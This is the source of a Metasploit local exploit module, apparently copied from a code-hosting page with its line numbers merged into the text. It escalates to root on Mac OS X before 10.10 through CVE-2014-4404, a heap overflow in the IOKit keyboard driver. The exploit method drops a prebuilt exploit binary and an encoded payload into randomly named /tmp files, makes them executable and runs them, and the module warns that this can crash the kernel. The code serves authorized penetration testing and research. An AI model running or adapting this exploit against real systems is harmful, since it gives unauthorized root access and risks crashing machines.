Path: blob/master/modules/exploits/osx/local/iokit_keyboard_root.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking # Can cause kernel crash78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',18'Description' => %q{19A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory20corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel21pointers can also be leaked, allowing a full kASLR bypass.2223Tested on Mavericks 10.9.5, and should work on previous versions.2425The issue was patched silently in Yosemite.26},27'License' => MSF_LICENSE,28'Author' => [29'Ian Beer', # discovery, advisory, publication, and a most excellent blog post30'joev' # copy/paste monkey31],32'References' => [33[ 'CVE', '2014-4404' ],34[ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],35# Heap overflow:36[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],37# kALSR defeat:38[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]39],40'Platform' => 'osx',41'Arch' => ARCH_X64,42'SessionTypes' => [ 'shell', 'meterpreter' ],43'Targets' => [44[ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', {} ]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2014-09-24',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)55end5657def check58if ver_lt(osx_ver, "10.10")59CheckCode::Appears60else61CheckCode::Safe62end63end6465def exploit66if is_root?67fail_with Failure::BadConfig, 'Session already has root privileges'68end6970if check != CheckCode::Appears71fail_with Failure::NotVulnerable, 'Target is not vulnerable'72end7374exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')75binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))76binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)77exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"78payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"7980print_status("Writing exploit file as '#{exploit_file}'")81write_file(exploit_file, binary_exploit)82register_file_for_cleanup(exploit_file)8384print_status("Writing payload file as '#{payload_file}'")85write_file(payload_file, binary_payload)86register_file_for_cleanup(payload_file)8788print_status("Executing payload...")89cmd_exec("chmod +x #{exploit_file}")90cmd_exec("chmod +x #{payload_file}")91cmd_exec("#{exploit_file} #{payload_file}")92end9394def osx_ver95cmd_exec("sw_vers -productVersion").to_s.strip96end9798def ver_lt(a, b)99Rex::Version.new(a) < Rex::Version.new(b)100end101end102103104